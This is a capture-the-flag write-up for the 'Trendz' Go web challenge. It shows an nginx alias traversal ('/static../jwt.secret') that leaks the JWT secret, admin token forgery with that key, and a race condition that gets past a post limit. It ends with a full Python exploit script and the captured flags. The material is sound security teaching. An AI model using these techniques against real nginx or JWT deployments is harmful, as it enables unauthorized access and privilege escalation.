Trendz (part 1 & 2)
This challenge is divided into four parts, three webs and a reverse. I’m excited to share that I managed to solve the first two webs! I’ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I’m eager to see how they fit together.
The application was written in Go using templates and a JWT authentication, and it’s write well! The application itself has many files, but they are well written and ordered, so a thorough analysis is not difficult but necessary. The application is divided into 5 basic parts.
- Config file:
ngix.conf
,run.sh
,init.sql
, dockerfile
and .dockerignore
- Main go file:
main.go
This is where you’ll find all the details about how to use the different functions and what they do!
- Dashboard: Here are the 3 types of dashboards possible in the application
- Jwt handler: How to use JWT for authentication.
- Service: The various services such as post creation or user validation
The basic application is presented with a login/registration screen where once we are logged in we are assigned an accesstoken and a refreshtoken, a redirect to the standard user dashboard occurs where we can create posts and view them via /posts/post-id
,basically more than this we cannot do
As mentioned before in the main.go we find the path declaration and some very important initialization functions
// filename: main.go
func main() {
s := gin.Default()
s.LoadHTMLGlob("templates/*")
db.InitDBconn()
jwt.InitJWT() // Initialization of jwt we will analyze it later
s.GET("/", func(c *gin.Context) {
c.Redirect(302, "/login")
})
s.GET("/ping", func(c *gin.Context) {
c.JSON(200, gin.H{
"message": "pong",
})
})
r := s.Group("/")
r.POST("/register", service.CreateUser)
r.GET("/register", func(c *gin.Context) {
c.HTML(200, "register.tmpl", gin.H{})
})
r.POST("/login", service.LoginUser)
r.GET("/login", func(c *gin.Context) {
c.HTML(200, "login.tmpl", gin.H{})
})
r.GET("/getAccessToken", service.GenerateAccessToken)
authorizedEndpoints := r.Group("/user")
authorizedEndpoints.Use(service.AuthorizeAccessToken())
authorizedEndpoints.GET("/dashboard", dashboard.UserDashboard)
authorizedEndpoints.POST("/posts/create", service.CreatePost)
authorizedEndpoints.GET("/posts/:postid", service.ShowPost)
authorizedEndpoints.GET("/flag", service.DisplayFlag)
adminEndpoints := r.Group("/admin")
adminEndpoints.Use(service.AuthorizeAccessToken())
adminEndpoints.Use(service.ValidateAdmin())
adminEndpoints.GET("/dashboard", dashboard.AdminDashboard)
SAEndpoints := r.Group("/superadmin")
SAEndpoints.Use(service.AuthorizeAccessToken())
SAEndpoints.Use(service.ValidateAdmin())
SAEndpoints.Use(service.AuthorizeRefreshToken())
SAEndpoints.Use(service.ValidateSuperAdmin())
SAEndpoints.GET("/viewpost/:postid", dashboard.ViewPosts)
SAEndpoints.GET("/dashboard", dashboard.SuperAdminDashboard)
s.NoRoute(custom.Custom404Handler)
s.Run(":8000")
}
As it is seen the scheme of the paths is very clear and it is well done basically we have the login and registration and then we move to a division by role
where we have a user section an admin and a superadmin each of them with their own validation services
# filename: run.sh
#!/bin/env sh
cat /dev/urandom | head | sha1sum | cut -d " " -f 1 > /app/jwt.secret
export JWT_SECRET_KEY=notsosecurekey
export ADMIN_FLAG=CSCTF{flag1}
export POST_FLAG=CSCTF{flag2}
export SUPERADMIN_FLAG=CSCTF{flag3}
export REV_FLAG=CSCTF{flag4}
export POSTGRES_USER=postgres
export POSTGRES_PASSWORD=mysecretpassword
export POSTGRES_DB=devdb
uuid=$(cat /proc/sys/kernel/random/uuid)
user=$(cat /dev/urandom | head | md5sum | cut -d " " -f 1)
cat << EOF >> /docker-entrypoint-initdb.d/init.sql
INSERT INTO users (username, password, role) VALUES ('superadmin', 'superadmin', 'superadmin');
INSERT INTO posts (postid, username, title, data) VALUES ('$uuid', '$user', 'Welcome to the CTF!', '$ADMIN_FLAG');
EOF
docker-ensure-initdb.sh &
GIN_MODE=release /app/chall & sleep 5
su postgres -c "postgres -D /var/lib/postgresql/data" &
nginx -g 'daemon off;'
This file is actually very important because it gives us an idea of where the flags are (which fortunately are also numbered)
As we see the first thing that is done is to create a file called jwt.secret that will be a source of interest later,
We see that another jwt secret is initialized and 4 flags in 4 different environment variables,
Queries are made one in which the superadmin user is created and another in which the flag is inserted in a record in the posts table
Finally, the postgree database and the ngix server are started.
user nobody;
worker_processes auto;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
location / {
proxy_pass http://localhost:8000;
}
location /static {
alias /app/static/;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
This is the ngix configuration, where a fairly standard configuration is written, except for declaring a /static
alias.
Well, once I’ve finished presenting the application, I’d say you’re ready to go…
Description: The latest trendz is all about Go and HTMX, but what could possibly go wrong? A secret post has been hidden deep within the application. Your mission is to uncover it.
Note: This challenge consists of four parts, which can be solved in any order. However, the final part will only be accessible once you’ve completed this initial task, and will be released in Wave 3.
Well, as we saw in the run.sh file, the first flag is inside a record in the post table and it is also called ADMIN_FLAG, so the first thing to see is how admin authentication works and what the admin dashboard can do.
// filename: AdminDash.go
package dashboard
import (
"app/handlers/service"
"os"
"github.com/gin-gonic/gin"
)
func AdminDashboard(ctx *gin.Context) {
posts := service.GetAllPosts()
ctx.HTML(200, "adminDash.tmpl", gin.H{
"flag": os.Getenv("ADMIN_FLAG"),
"posts": posts,
})
}
As we can see, the dashboard is very concise, we simply see that the GetAllPosts()
function is called and then they are sent to the template, so not much to do here, let’s move on to how the admin is authenticated.
//filename: main.go
adminEndpoints := r.Group("/admin")
adminEndpoints.Use(service.AuthorizeAccessToken())
adminEndpoints.Use(service.ValidateAdmin())
adminEndpoints.GET("/dashboard", dashboard.AdminDashboard)
As we can see from the code, whenever we try to connect to the admin dashboard, it first runs two functions, ValidateAccess()
and ValidateAdmin()
.
//filename: JWTHandler.go
func AuthorizeAccessToken() gin.HandlerFunc {
return func(c *gin.Context) {
c.Header("X-Frame-Options", "DENY")
c.Header("X-XSS-Protection", "1; mode=block")
const bearerSchema = "Bearer "
var tokenDetected bool = false
var tokenString string
authHeader := c.GetHeader("Authorization")
if len(authHeader) != 0 {
tokenDetected = true
tokenString = authHeader[len(bearerSchema):]
}
if !tokenDetected {
var err error
tokenString, err = c.Cookie("accesstoken")
if tokenString == "" || err != nil {
c.Redirect(302, "/getAccessToken?redirect="+c.Request.URL.Path)
}
}
fmt.Println(tokenString)
token, err := jwt.ValidateAccessToken(tokenString)
if err != nil {
fmt.Println(err)
c.AbortWithStatus(403)
}
if token.Valid {
claims := jwt.GetClaims(token)
fmt.Println(claims)
c.Set("username", claims["username"])
c.Set("role", claims["role"])
} else {
fmt.Println("Token is not valid")
c.Header("HX-Redirect", "/getAccessToken")
c.AbortWithStatus(403)
}
}
}
This is a pretty standard function regarding JWT integrity checking, in fact here we see that the function checks that the cookie is well formatted and has no problems by validating it with the ValidateAccessToken()
function, otherwise it rejects it or aborts the operation.
//filename: JWTAuth.go
func ValidateAccessToken(encodedToken string) (*jwt.Token, error) {
return jwt.Parse(encodedToken, func(token *jwt.Token) (interface{}, error) {
_, isValid := token.Method.(*jwt.SigningMethodHMAC)
if !isValid {
return nil, fmt.Errorf("invalid token with signing method: %v", token.Header["alg"])
}
return []byte(secretKey), nil
})
}
// The function is safe and it is not subject to `alg:none` or any other kind of attack, so we must move on.
//filename: ValidateAdmin.go
func ValidateAdmin() gin.HandlerFunc {
return func(c *gin.Context) {
const bearerSchema = "Bearer "
var tokenDetected bool = false
var tokenString string
authHeader := c.GetHeader("Authorization")
if len(authHeader) != 0 {
tokenDetected = true
tokenString = authHeader[len(bearerSchema):]
}
if !tokenDetected {
var err error
tokenString, err = c.Cookie("accesstoken")
if tokenString == "" || err != nil {
c.Redirect(302, "/getAccessToken?redirect="+c.Request.URL.Path)
}
}
fmt.Println(tokenString)
claims := jwt.ExtractClaims(tokenString)
if claims["role"] == "admin" || claims["role"] == "superadmin" {
fmt.Println(claims)
} else {
fmt.Println("Token is not valid")
c.AbortWithStatusJSON(403, gin.H{"error": "User Unauthorized"})
return
}
}
}
Instead, we see here that the role is validated in the JWT by checking that it is at least admin or superadmin.
Mmm authentication seems secure let’s take a step back and go to the JWTInit function.
//filename: JWTAuth.go
func InitJWT() {
key, err := os.ReadFile("jwt.secret")
if err != nil {
panic(err)
}
secretKey = key[:]
fmt.Printf("JWT initialized %v\n", secretKey)
}
We see that the function itself doesn’t do much simply takes the key with which it will sign jwt’s from a file well known to us in fact we have seen it in run.sh where it is created and where a secure value is put there
But if we analyse the Docker file system locally, we see that jwt.secret is located in the same folder as static, which we saw in the ngix configuration create an alias to that path.
location /static {
alias /app/static/;
}
If we try to access /static we can see.
NOTHING… But we can wander around a bit for js and css files that we don’t need though, And if we try a class ../ after static we see that it doesn’t find anything there
Hmm will there be a way to bypass the ngix and access the file?
Well actually yes because the configuration as we see on hacktricks is insecure and easily bypassed like this
And if we try to type /static../jwt.secret
… NICE WE GOT THE JWT SECRET
Now just change the role of the jwt and re-sign it but we’ll see that later in detail being that the challenge itself is solved… (At the end see the #PS)
Descripion: Staying active has its rewards. There’s a special gift waiting for you, but it’s only available once you’ve made more than 12 posts. Keep posting to uncover the surprise!
Note: Use the instancer and source from part one of this challenge, Trendz.
We are in the second part of the Trendz challenge, so we have exactly the same application, only the target flag has changed.
First thing to figure out is where the flag is located, going back to the run.sh we see that the file is located inside the POST_FLAG
environment variable so we presso let’s assume that the posts center something, searching the directories with grep or something else we see that the variable is called here:
//filename: Posts.go
func DisplayFlag(ctx *gin.Context) {
username := ctx.MustGet("username").(string)
noOfPosts := CheckNoOfPosts(username)
if noOfPosts <= 12 {
ctx.JSON(200, gin.H{"error": fmt.Sprintf("You need %d more posts to view the flag", 12-noOfPosts)})
return
}
ctx.JSON(200, gin.H{"flag": os.Getenv("POST_FLAG")})
}
Oh we just need to make 12 simple posts no?
Well not really in fact if we see the function that creates the posts we can see that it doesn’t allow us to make more than 12
//filename: Posts.go
func CreatePost(ctx *gin.Context) {
username := ctx.MustGet("username").(string)
noOfPosts := CheckNoOfPosts(username)
var req struct {
Title string `json:"title"`
Data string `json:"data"`
}
if err := ctx.BindJSON(&req); err != nil {
ctx.JSON(400, gin.H{"error": "Invalid request"})
fmt.Println(err)
return
}
if noOfPosts >= 10 {
ctx.JSON(200, gin.H{"error": "You have reached the maximum number of posts"})
return
}
if len(req.Data) > 210 {
ctx.JSON(200, gin.H{"error": "Data length should be less than 210 characters"})
return
}
postID := InsertPost(username, req.Title, req.Data)
ctx.JSON(200, gin.H{"postid": postID})
}
As we can see, a function is executed that checks the number of posts, which in itself is not a major problem, the problem lies in the misuse of this function.
This is because although go is very fast and even postgree actually this doesn’t stop us from making a race condition
The solution itself is very simple just create a large amount of requests simultaneously with the same session and hope to enter more posts than allowed by doing so we will be able to bypass the control and get our flag
Probably the reason it works is much more precise and technical, but to tell you the truth, it came to me as soon as I saw it and tried it, and apparently my hunch was right…
This is the final exploit script with the 2 challenge solution
# filename: exploit.py
#!/usr/bin/python3
from concurrent.futures import ThreadPoolExecutor, as_completed
from bs4 import BeautifulSoup
import requests
import jwt
import string
import random
BASE_URL = "https://ID-INSTANCE.bugg.cc/"
s = requests.Session()
def random_string(length):
return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
def login(username, password):
response = s.post(f"{BASE_URL}/login",
json={"username": username, "password": password})
if response.status_code != 200:
print(f"Login failed: {response.status_code}")
exit(response.status_code)
def register(username, password):
response = s.post(f"{BASE_URL}/register",
json={"username": username, "password": password})
if response.status_code != 200:
print(f"Register failed: {response.status_code}")
exit(response.status_code)
def logout():
s.cookies.clear()
def create_post(title: str = "title", content: str = "content"):
response = s.post(f"{BASE_URL}/user/posts/create",
json={"title": title, "data": content})
if response.status_code != 200:
print(f"Post creation failed: {response.status_code}")
exit(response.status_code)
def run_tasks(num_tasks, concurrency_limit):
results = []
with ThreadPoolExecutor(max_workers=concurrency_limit) as executor:
futures = [executor.submit(create_post)
for _ in range(num_tasks)]
for future in as_completed(futures):
results.append(future.result())
return results
def download_secret():
r = s.get(f"{BASE_URL}/static../jwt.secret", stream=True)
with open("jwt.secret", "wb") as f:
for chunk in r.iter_content(chunk_size=1024):
f.write(chunk)
def resign_jwt(claims, secret_key):
return jwt.encode(claims, secret_key, algorithm='HS256')
def get_flag_2():
for _ in range(10):
print("Try: " + str(_),end="\r")
run_tasks(num_tasks=50,concurrency_limit=100)
response = s.get(f"{BASE_URL}/user/flag")
if "CSCTF{" in response.text:
print("Flag 2 trendzz: " + response.json()['flag'])
return True
else:
logout()
username, password = random_string(10), random_string(10)
register(username, password)
login(username, password)
return False
def get_flag_1():
download_secret()
with open("./jwt.secret", "rb") as file:
key = file.read()
print(f"Jwt secret leaked: {key}")
original_token = s.cookies.get_dict().get("accesstoken")
decoded_claims = jwt.decode(original_token, key, algorithms=['HS256'])
decoded_claims['role'] = 'admin'
new_jwt = resign_jwt(decoded_claims, key)
s.cookies.update({"accesstoken": new_jwt})
response = requests.get(f"{BASE_URL}/admin/dashboard",cookies={"accesstoken": new_jwt})
soup = BeautifulSoup(response.text, 'html.parser')
postid = soup.find_all('td')[1].text
print(f"Post-id: {postid}")
flag = s.get(f"{BASE_URL}/user/posts/{postid}").json().get("data")
print("Flag 1 trendz: " + flag)
def main():
print("Exploiting...")
username, password = random_string(10), random_string(10)
register(username, password)
login(username, password)
get_flag_1()
if not get_flag_2():
print("Flag 2 retrieval failed try again :(")
if __name__ == "__main__":
main()
$ flag 1: CSCTF{0a97afb3-64be-4d96-aa52-86a91a2a3c52}
$ flag 2: CSCTF{d2426fb5-a93a-4cf2-b353-eac8e0e9cf94}
In the first flag I skipped a very funny part, in fact it is not enough to log in only as admin because we will not be shown the flag but a post of an ID that if you remember the flag was also in a precise record initialised in run.sh, if through /user/posts/post-id we view the post we can find the flag
Author: akiidjk